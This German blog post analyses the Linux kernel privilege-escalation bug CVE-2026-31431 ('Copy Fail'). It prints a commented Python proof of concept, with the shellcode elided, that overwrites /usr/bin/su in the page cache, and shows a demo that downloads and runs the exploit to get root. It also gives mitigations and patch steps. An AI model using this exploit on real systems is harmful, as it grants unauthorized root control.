Copy Fail: 732 Bytes zum Root-Zugriff
Demonstration, Analyse und Fix von CVE-2026-31431 auf einer Proxmox-VM.
732 Bytes Python-Code genügen, um auf nahezu jedem Linux-System seit 2017 aus einem normalen Nutzeraccount eine Root-Shell zu erhalten – ohne Race Condition, ohne verteilungsspezifische Anpassungen, in unter einer Sekunde. CVE-2026-31431, alias Copy Fail, ist ein Logikfehler im Linux-Kernel, der seit fast einem Jahrzehnt unbemerkt in jeder gängigen Distribution schlummerte.
Demo von Xint
Copy Fail – Was steckt dahinter?
Am 29. April 2026 veröffentlichte das Team von Xint Code die Details zu CVE-2026-31431. Der CVSS-Score beträgt 7.8 (High). Die Schwachstelle ist eine Local Privilege Escalation (LPE): Ein unprivilegierter lokaler Nutzer kann Systemrechte auf Root eskalieren.
Was Copy Fail von typischen Kernel-Exploits unterscheidet, ist die Kombination aus Einfachheit, Zuverlässigkeit und Reichweite:
- Kein Timing, keine Race Condition. Der Fehler ist ein deterministischer Logikfehler – er funktioniert beim ersten Versuch, immer.
- Kein Versions-Tuning. Das identische 732-Byte-Python-Skript läuft unverändert auf Ubuntu, RHEL, Amazon Linux, SUSE, Debian, Fedora und Arch Linux.
- Lautlos. Die Manipulation hinterlässt keine Spuren auf der Festplatte. Integritätsprüfungen, die auf Checksummen der gespeicherten Dateien basieren, schlagen nicht an.
- Container-Escape-Primitiv. Da der Page Cache kernelweit geteilt wird, überschreitet der Angriff Container-Grenzen. Teil 2 des Xint-Reports behandelt die Kubernetes-Eskalation.
Betroffen sind alle Linux-Kernel, die ab 2017 compiliert wurden – konkret seit dem Commit 72548b093ee3, der eine Optimierung in algif_aead.c einführte. Ubuntu 26.04 (Resolute) und spätere Releases sind nicht mehr betroffen.
Technische Details
Ich habe zwar die Details recherchiert, aber nicht in allen Punkten vollständig durchdrungen. Deshalb möchte ich nicht den Eindruck erwecken, den Ablauf lückenlos erklären zu können. Für diejenigen, die sich mit Kernelmodulen auskennen, habe ich lediglich die wesentlichen Elemente hier zusammengetragen.
AF_ALG, splice() und der Page Cache – die Zutaten
Zum Verständnis des Fehlers müssen wohl zwei Linux-Kernel-Konzepte bekannt sein: AF_ALG und splice().
AF_ALG (AF_ALG, Address Family Algorithm) ist eine Socket-Schnittstelle, über die unprivilegierte Prozesse die Krypto-Beschleunigung des Kernels nutzen können. Ein Programm öffnet einen Socket, bindet ihn an eine Krypto-Vorlage (z.B. aead/authencesn(hmac(sha256),cbc(aes))) und schickt Daten zur Ver- oder Entschlüsselung. Keine Root-Rechte erforderlich.
splice() ist ein Systemaufruf, der Daten zwischen Dateideskriptoren und Pipes überträgt – ohne Kopieren, indem er direkt auf Page-Cache-Seiten verweist. Wenn eine Datei in eine Pipe gespliced wird, enthält die Pipe-interne Scatterlist Referenzen auf dieselben physischen Speicherseiten, die der Kernel für jede read()-, mmap()- und execve()-Operation dieser Datei nutzt.
Das Zusammenspiel wird kritisch, wenn eine solche Datei (etwa /usr/bin/su) via splice() in einen AF_ALG-Socket geleitet wird: Die AEAD-Scatterlist enthält jetzt direkte Referenzen auf die Page-Cache-Seiten von su. Normalerweise wären diese Pages ausschließlich Quelle (lesend). Das Unheil beginnt, wenn sie versehentlich als Ziel (schreibend) behandelt werden.
Der Fehler in authencesn
authencesn ist eine AEAD-Wrapper-Implementierung im Kernel, die für IPsec mit 64-Bit Extended Sequence Numbers (ESN, RFC 4303) zuständig ist. Sie enthält einen seit 2015 unveränderten Designfehler: Für die interne Umordnung der ESN-Bytes nutzt authencesn den Ziel-Puffer als Scratch-Space – also als temporären Schreibbereich, der ihr eigentlich nicht gehört.
Konkret schreibt crypto_authenc_esn_decrypt() vier Bytes an die Position dst[assoclen + cryptlen] – das ist hinter dem eigentlichen Ausgabebereich der AEAD-Operation:
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// Schreibt seqno_lo HINTER den legitimen Ausgabebereich
Solange req->src und req->dst auf unterschiedliche Scatterlists zeigten, war das harmlos: Der Scratch-Write landete im Nutzer-Puffer. Seit der 2017er In-Place-Optimierung in algif_aead.c gilt jedoch req->src = req->dst. Die Scatterlist für das Ziel enthält jetzt via sg_chain() angehängte Page-Cache-Seiten der gespliceten Datei – direkt im Pfad des Scratch-Writes.
Das Ergebnis: scatterwalk_map_and_copy überschreitet die Puffergrenze, mapped die Page-Cache-Seite via kmap_local_page() und schreibt vier vom Angreifer kontrollierte Bytes direkt in den Kernel-Cache der Zieldatei. Der HMAC-Vergleich schlägt danach zwar fehl (das Ciphertext-Material ist gefälscht), aber der Schreibvorgang bleibt bestehen – auch nachdem recvmsg() mit einem Fehler zurückgekehrt ist.
Drei Dinge kontrolliert der Angreifer vollständig:
- Welche Datei – jede für den aktuellen Nutzer lesbare Datei
- Welcher Offset – über
assoclen,splice-Offset und -Länge - Welcher Wert – die vier Bytes von
seqno_loim AAD-Header dessendmsg()-Aufrufs
Da der Kernel die manipulierte Page niemals als "dirty" markiert, wird sie nicht zurückgeschrieben. Die Originaldatei auf der Festplatte bleibt unverändert. Nur der im RAM zwischengespeicherte Stand ist korrumpiert – und genau dieser wird bei execve() genutzt.
Der Exploit im Detail
Das öffentlich verfügbare Proof-of-Concept von copy.fail/exp ist kompakter Python-Code, der /usr/bin/su als Ziel wählt. su ist ideal, weil es in aller Regel ein SetUID-Root-Binary ist: Es läuft immer als Root, egal wer es aufruft – sofern es dem Nutzer Zugriff gewährt. Das Skript ersetzt nun via Page-Cache-Write einen Teil des .text-Segments von su im Kernel-Speicher durch eine Mini-Shellcode-Payload:
# =============================================================================
# CVE-2026-31431 "Copy Fail" – Vereinfachter PoC
# Originalexploit: https://copy.fail/exp
# =============================================================================
#
# Das Script schreibt einen kleinen Shellcode in den Kernel-Speicher (Page Cache) von
# /usr/bin/su – ohne Root-Rechte zu besitzen. Das gelingt durch einen Fehler
# im Linux-Kernel, der beim Zusammenspiel von drei Mechanismen auftritt:
#
# 1. AF_ALG – Kernel-Krypto-Interface, über das normale Nutzer
# Verschlüsselung/Entschlüsselung im Kernel anstoßen können
# 2. splice() – überträgt Daten zwischen Dateien/Pipes ohne Kopieren,
# indem es direkt auf Kernel-Speicherseiten (Pages) zeigt
# 3. authencesn – ein Krypto-Algorithmus, der versehentlich 4 Bytes
# außerhalb seines zugewiesenen Puffers schreibt
#
# Der Kernel merkt nicht, dass er gerade eine Systemdatei im Speicher
# verändert – und hinterlässt auch keine Spur auf der Festplatte.
# =============================================================================
import os # Systemaufrufe: Dateien öffnen, Pipes, splice(), system()
import zlib # Dekomprimierung des eingebetteten Shellcodes
import socket # Netzwerk-Sockets – hier zweckentfremdet für AF_ALG
def write_4bytes(fd_file, target_offset, payload_4bytes):
"""
Schreibt genau 4 Bytes an eine bestimmte Position im Page Cache
einer bereits geöffneten Datei – ohne Root-Rechte.
Parameter:
fd_file – Dateideskriptor der Zieldatei (hier: /usr/bin/su)
target_offset – Byte-Position innerhalb der Datei, die überschrieben wird
payload_4bytes – Die 4 Bytes, die an diese Position geschrieben werden sollen
"""
# -------------------------------------------------------------------------
# SCHRITT 1: Einen AF_ALG-Socket anlegen
# -------------------------------------------------------------------------
#
# AF_ALG (Adressfamilie 38) ist eine Linux-Besonderheit: Über normale
# Socket-Aufrufe kann jeder Nutzer die Krypto-Hardware/-Beschleunigung
# des Kernels ansprechen. Das klingt harmlos – ist es auch, solange der
# Kernel die Speichergrenzen korrekt einhält.
#
# socket.socket(38, 5, 0):
# 38 = AF_ALG (Address Family: Algorithm)
# 5 = SOCK_SEQPACKET (verbindungsorientiert, nachrichtenbasiert)
# 0 = Protokoll (Standard)
#
a = socket.socket(38, 5, 0)
# An das konkrete Krypto-Template binden.
# "aead" = Authenticated Encryption with Associated Data (AEAD-Typ)
# "authencesn(hmac(sha256),cbc(aes))" = der spezifische Algorithmus,
# der den Bug enthält. authencesn ist für IPsec-ESN (Extended Sequence
# Numbers) zuständig und schreibt intern 4 Bytes außerhalb seiner Grenzen.
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# SOL_ALG = 279: Die "Socket-Ebene" für AF_ALG-spezifische Optionen.
# Wird weiter unten bei setsockopt() als Ebenen-Parameter übergeben.
h = 279 # SOL_ALG
# -------------------------------------------------------------------------
# SCHRITT 2: Krypto-Parameter konfigurieren
# -------------------------------------------------------------------------
#
# setsockopt(level, optname, value):
# level = h = SOL_ALG
# optname = 1 = ALG_SET_KEY (Schlüssel setzen)
# value = 40 Bytes Schlüsselmaterial (8 Byte Metadaten + 32 Byte AES-Key)
#
# Der Schlüsselinhalt ist für den Exploit irrelevant – der HMAC-Check
# wird am Ende sowieso fehlschlagen. Wichtig ist nur, dass ein gültiger
# Schlüssel gesetzt wird, damit der Kernel die Operation startet.
#
# '0800010000000010' = 8 Byte Header (Schlüssellängen-Angabe im Kernel-Format)
# '0' * 64 = 32 Bytes Nullen als AES-Schlüssel (hex: 64 Zeichen)
a.setsockopt(h, 1, bytes.fromhex('0800010000000010' + '0' * 64))
# optname = 5 = ALG_SET_AUTHSIZE (Länge des Authentifizierungs-Tags)
# None = kein Puffer, 4 = 4 Bytes Tag-Länge (authsize = 4)
# Das ist entscheidend: authencesn schreibt seqno_lo genau an
# dst[assoclen + cryptlen] – also 4 Bytes hinter das Ende des Ausgabepuffers.
# Mit authsize=4 landet dieser Write exakt auf den Page-Cache-Seiten.
a.setsockopt(h, 5, None, 4)
# -------------------------------------------------------------------------
# SCHRITT 3: Request-Socket holen
# -------------------------------------------------------------------------
#
# AF_ALG funktioniert wie ein Server-Socket: Nach bind() wartet man mit
# accept() auf einen "Verbindungsaufbau". Der zurückgegebene Socket u
# ist der eigentliche Arbeits-Socket für sendmsg()/recvmsg().
# Das _ ist die Client-Adresse (für uns irrelevant).
u, _ = a.accept()
# Die tatsächlich zu verarbeitende Datenmenge.
# +4 wegen des authsize-Tags, das authencesn ans Ende anhängt.
o = target_offset + 4
# -------------------------------------------------------------------------
# SCHRITT 4: Daten senden – hier versteckt sich der Exploit-Kern
# -------------------------------------------------------------------------
#
# sendmsg() übergibt dem Kernel die zu verarbeitenden Daten (iov)
# sowie Steuerinformationen (cmsg) für die AEAD-Operation.
#
# iov (eigentliche Nutzdaten):
# b"A" * 4 = 4 Byte AAD (Associated Authenticated Data), Bytes 0–3
# Das ist seqno_hi – für den Exploit unwichtig.
# payload_4bytes = 4 Byte AAD, Bytes 4–7
# Das ist seqno_lo – DIESE 4 Bytes schreibt authencesn
# später an die Position target_offset im Page Cache!
# Der Angreifer kontrolliert hier den Schreibwert.
#
# cmsg (Control Messages – Metadaten für den Krypto-Kontext):
#
# (h, 3, b'\x00'*4) → ALG_SET_IV: 4 Byte Initialisierungsvektor (Nullen)
#
# (h, 2, b'\x10'+b'\x00'*19) → ALG_SET_AEAD_AUTHSIZE / assoclen:
# 0x10 = 16 Bytes AAD-Länge (assoclen).
# Kontrolliert zusammen mit cryptlen, wo
# dst[assoclen + cryptlen] im Speicher liegt.
#
# (h, 4, b'\x08'+b'\x00'*3) → ALG_SET_OP / cryptlen:
# 0x08 = 8 Bytes Ciphertext-Länge.
# assoclen (16) + cryptlen (8) = 24 → der
# Scratch-Write landet bei dst[24].
#
# 32768 = MSG_MORE: Signalisiert dem Kernel, dass noch weitere Daten folgen
# (die splice-Daten). Der Kernel wartet mit der Verarbeitung.
#
u.sendmsg(
[b"A" * 4 + payload_4bytes], # AAD: 4 Dummy-Bytes + 4 Payload-Bytes
[
(h, 3, b'\x00' * 4), # IV (Initialisierungsvektor, egal)
(h, 2, b'\x10' + b'\x00' * 19),# assoclen = 16 Bytes
(h, 4, b'\x08' + b'\x00' * 3), # cryptlen = 8 Bytes
],
32768 # MSG_MORE: noch mehr Daten folgen
)
# -------------------------------------------------------------------------
# SCHRITT 5: splice() – der entscheidende Trick
# -------------------------------------------------------------------------
#
# splice() überträgt Daten, ohne sie zu kopieren. Statt Bytes von A nach B
# zu duplizieren, merkt sich der Kernel einfach: "Diese Speicherseite gehört
# jetzt auch zu B." Die Speicherseite selbst bleibt dieselbe – nur eine
# neue Referenz wird eingetragen.
#
# Was hier passiert:
# 1. os.splice(fd_file, w, o):
# "Nimm o Bytes aus der geöffneten Datei fd_file und schiebe sie
# in das Schreib-Ende der Pipe w."
# Wichtig: Der Kernel legt KEINE Kopie an. Die Pipe enthält jetzt
# Referenzen auf die originalen Page-Cache-Seiten von /usr/bin/su.
#
# 2. os.splice(r, u.fileno(), o):
# "Nimm o Bytes aus dem Lese-Ende der Pipe r und schiebe sie in den
# AF_ALG-Socket u."
# Wieder keine Kopie – jetzt enthält die AEAD-Eingabe-Scatterlist
# des Kernels direkte Referenzen auf die /usr/bin/su-Pages.
#
# Die Pipe ist hier nur Durchleitung. Am Ende zeigt die AF_ALG-Scatterlist
# auf den echten Kernel-Speicher von /usr/bin/su.
#
r, w = os.pipe() # Pipe anlegen: r=lesen, w=schreiben
os.splice(fd_file, w, o, offset_src=0) # /usr/bin/su → Pipe
os.splice(r, u.fileno(), o) # Pipe → AF_ALG Socket
# -------------------------------------------------------------------------
# SCHRITT 6: recv() – der Auslöser des Writes
# -------------------------------------------------------------------------
#
# Mit recv() teilt der Prozess dem Kernel mit: "Ich will das Ergebnis
# der Entschlüsselung haben." Daraufhin führt der Kernel die AEAD-
# Decrypt-Operation aus:
#
# authencesn berechnet intern den HMAC über die Daten und muss dabei
# die ESN-Bytes (seqno_hi und seqno_lo) umordnen. Es schreibt seqno_lo
# an dst[assoclen + cryptlen] – eine Position, die durch die splice()-
# Kette direkt auf eine Page-Cache-Seite von /usr/bin/su zeigt.
#
# → Kernel schreibt payload_4bytes in den Speicher von /usr/bin/su.
#
# Danach schlägt der HMAC-Vergleich fehl (das Ciphertext-Material ist
# ja gefälscht), und recv() wirft eine Exception. Diese fangen wir ab –
# der Schreibvorgang ist aber bereits erfolgt und wird nicht rückgängig
# gemacht.
#
try:
u.recv(8 + target_offset) # Entschlüsselung anstoßen → Write passiert hier
except:
pass # HMAC-Fehler ignorieren – der Write ist bereits durch
# =============================================================================
# HAUPTPROGRAMM
# =============================================================================
# Der Shellcode ist zlib-komprimiert im Skript eingebettet.
# Nach der Dekomprimierung enthält payload die Bytes, die in den .text-
# Abschnitt von /usr/bin/su geschrieben werden. Der Shellcode bewirkt,
# dass su beim nächsten Aufruf einfach eine Root-Shell öffnet, statt ein
# Passwort zu prüfen.
payload = zlib.decompress(bytes.fromhex("78da...")) # Hier stehen die echten Bytes
# /usr/bin/su mit O_RDONLY (Flag 0) öffnen – lesend.
# Das ist alles, was ein normaler Nutzer darf. Ein schreibender Open würde
# vom Kernel verweigert. Der Exploit braucht keinen Schreibzugriff auf die
# Datei – er nutzt den Kernel-Fehler, um trotzdem in den Speicher zu schreiben.
fd = os.open("/usr/bin/su", 0)
# Den Shellcode in 4-Byte-Blöcken in den Page Cache schreiben.
# Jeder Aufruf von write_4bytes() überschreibt genau 4 Bytes an der
# angegebenen Position. Die Schleife arbeitet sich durch den gesamten
# Payload vor – Offset 0, 4, 8, 12, ... bis zum Ende des Shellcodes.
for i in range(0, len(payload), 4):
write_4bytes(fd, i, payload[i:i+4])
# su aufrufen. Der Kernel liest /usr/bin/su jetzt aus dem Page Cache –
# und der enthält unseren Shellcode. Da su SetUID-Root ist, läuft der
# modifizierte Code als Root → Root-Shell.
#
# Der manipulierte Page-Cache-Stand bleibt aktiv bis zum nächsten Neustart.
# Die Datei auf der Festplatte ist unverändert.
os.system("su")Nach dem Durchlauf ist der In-Memory-Stand von /usr/bin/su modifiziert. Ein einfaches su genügt, um eine Root-Shell zu erhalten.
Normaler Nutzer
│
▼
os.open("/usr/bin/su", O_RDONLY) ← darf jeder
│
▼ splice() ← kopiert NICHT, zeigt nur
Pipe ──────────────────────────────────────────────────────┐
│
sendmsg(payload_4bytes als seqno_lo im AAD) │
│ │
▼ ▼
AF_ALG Socket (authencesn) ←───── Scatterlist zeigt auf Page-Cache-Seiten
│ von /usr/bin/su
│ recv() → authencesn schreibt seqno_lo an dst[assoclen+cryptlen]
▼
Page Cache von /usr/bin/su enthält jetzt Shellcode
│
▼
os.system("su") → Kernel lädt aus Page Cache → Root-ShellDer manipulierte Zustand bleibt im Page Cache aktiv, bis das System neugestartet wird – ein Neuanmelden oder Beenden der SSH-Session ändert daran nichts.
Demonstration auf einer Proxmox-VM
Für die folgende Demonstration dient eine frisch installierte Ubuntu 24.04 LTS VM auf einem Proxmox-Host mit einem ungepatchten Kernel ≤ 6.8.
Schritt 1 – Systeminfo prüfen
Zunächst wird der aktuelle Kernel-Stand verifiziert:
michael@testvm:~$ uname -r
6.8.0-51-generic
michael@testvm:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael)
Das System läuft unter einem normalen Benutzer ohne Root-Rechte. Ein Aufruf von su fordert erwartungsgemäß ein Passwort an (welches nicht bekannt ist):
michael@testvm:~$ su
Password:
su: Authentication failure
Schritt 2 – PoC herunterladen und prüfen
Der Exploit-Code wird heruntergeladen und vor der Ausführung inspiziert – Blindes curl | python3 ist keine Option:
michael@testvm:~$ wget -qO copy_fail.py "https://copy.fail/exp"
michael@testvm:~$ wc -c copy_fail.py
732 copy_fail.py
michael@testvm:~$ cat -v copy_fail.py # Auf versteckte Steuerzeichen prüfen
Schritt 3 – Exploit ausführen
michael@testvm:~$ python3 copy_fail.py
root@testvm:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@testvm:/home/user# whoami
root
Aus einem unprivilegierten Nutzeraccount heraus ist in Sekunden ein vollständiger Root-Shell vorhanden. Der Kernel-Cache von /usr/bin/su ist jetzt modifiziert. Das Besondere: Nach dem ersten Exploit-Aufruf kann su ohne den Python-Code erneut ausgeführt werden – solange das System nicht neu startet, bleibt der Page Cache korrumpiert.
Schritt 4 – Persistenz des Page-Cache-Writes verifizieren
# SSH-Session beenden und neu verbinden
michael@testvm:~$ exit
Abgemeldet
Connection to ai closed.
michael@mmhack:/~$ ssh michael@testvm
michael@testvm's password:
michael@testvm:~$ su
root@testvm:/home/user#
Nur ein Neustart bereinigt den Page Cache – bis der Exploit erneut ausgeführt wird.
Sofortmaßnahme – algif_aead deaktivieren
Solange kein gepatchter Kernel verfügbar ist, lässt sich der Angriff durch Deaktivierung des algif_aead-Kernelmoduls unterbinden. Achtung: Auf RHEL-Familie-Distributionen (AlmaLinux, Rocky, CloudLinux) ist algif_aead in den Kernel einkompiliert (CONFIG_CRYPTO_USER_API_AEAD=y), sodass modprobe.d-Regeln und rmmod wirkungslos sind und lediglich ein falsches Sicherheitsgefühl vermitteln.
Für Distributionen mit ladbarem Modul (Debian, Ubuntu):
# Modul prüfen
grep -qE '^algif_aead ' /proc/modules \
&& echo "Modul geladen – System potenziell verwundbar" \
|| echo "Modul nicht geladen"
# Modul dauerhaft deaktivieren
echo "install algif_aead /bin/false" \
| sudo tee /etc/modprobe.d/disable-algif-aead.conf
# Laufendes Modul entladen (falls nicht in Verwendung)
sudo rmmod algif_aead 2>/dev/null || true
Anwendungen, die explizit AF_ALG für AEAD-Operationen nutzen (z.B. OpenSSL mit aktivierter afalg-Engine), werden durch die Deaktivierung beeinträchtigt. dm-crypt/LUKS, IPsec, SSH und Standard-OpenSSL-Builds sind davon nicht betroffen.
Für RHEL-Familie – Blacklist via Grub-Kernel-Parameter:
# initcall_blacklist verhindert die Registrierung beim Booten
sudo grubby --args="initcall_blacklist=algif_aead_init" --update-kernel=ALL
sudo reboot
# Nach Neustart prüfen
grep initcall_blacklist /proc/cmdline
Prüfen, ob AF_ALG aktiv genutzt wird:
sudo lsof | grep AF_ALG
Der Fix – Kernel-Update
Der eigentliche Fix ist ein Kernel-Patch von Commit a664bf3d603d, der die 2017er In-Place-Optimierung in algif_aead.c vollständig rückgängig macht. Statt req->src = req->dst werden Quell- und Ziel-Scatterlists wieder sauber getrennt: req->src zeigt auf die TX-SGL (mit den Page-Cache-Seiten aus splice()), req->dst auf den Nutzer-Puffer. Der sg_chain()-Mechanismus, der Page-Cache-Seiten in die beschreibbare Ziel-Scatterlist einhing, entfällt damit vollständig.
Ubuntu (alle Releases vor 26.04):
sudo apt update && sudo apt upgrade -y
sudo reboot
# Kernel-Version prüfen
uname -r
Ubuntu 26.04 (Resolute) und spätere Releases liefern einen nicht betroffenen Kernel aus. Für ältere LTS-Releases liefert das Ubuntu Security Team zunächst ein kmod-Paket, das algif_aead deaktiviert, bis der gepatchte Kernel verfügbar ist.
Debian:
sudo apt update && sudo apt full-upgrade -y
sudo reboot
AlmaLinux / Rocky Linux / RHEL:
AlmaLinux hat gepatchte Kernel am 1. Mai 2026 in die Produktions-Repositories eingespielt, basierend direkt auf dem Upstream-Fix, während auf das offizielle Red Hat Errata gewartet wird.
sudo dnf clean metadata && sudo dnf upgrade -y
sudo reboot
uname -r # Erwarteter Stand: kernel-6.12.0-124.52.2.el10_1 oder neuer
Patch-Status verifizieren – wurde der Fix eingespielt?
Nach dem Reboot kann über das Pseudo-Filesystem geprüft werden, ob die In-Place-Operation noch aktiv ist:
# Prüfen, ob algif_aead noch geladen ist
lsmod | grep algif_aead
# Ausgabe leer → Sehr gut: Modul nicht aktiv (entweder deaktiviert oder Kernel gepatcht)
# Exploit erneut ausführen – auf einem gepatchten System schlägt su fehl:
python3 copy_fail.py
# → su: Authentication failure (korrekt – kein Root-Zugang)
Fazit
Copy-Fail (CVE-2026-31431) ist eine besonders heikle Schwachstelle im Linux-Systemkern. Sie existiert schon seit Jahren, lässt sich gezielt ausnutzen und passiert dabei unauffällig.
Vereinfacht gesagt: Daten können im Arbeitsspeicher verändert werden, ohne dass das System merkt, dass etwas manipuliert wurde. Normalerweise prüft Linux anhand von Prüfsummen, ob Dateien verändert wurden – hier greift das aber nicht, weil nur die Version im Speicher betroffen ist, nicht die Datei auf der Festplatte. Problematisch wird das, weil genau diese Speicher-Version beim Starten von Programmen verwendet wird.
Die Lösung ist zum Glück simpel: Ein Kernel-Update installieren und das System neu starten. Falls das Update noch nicht verfügbar ist, kann man die betroffene Funktion („algif_aead“) vorübergehend deaktivieren.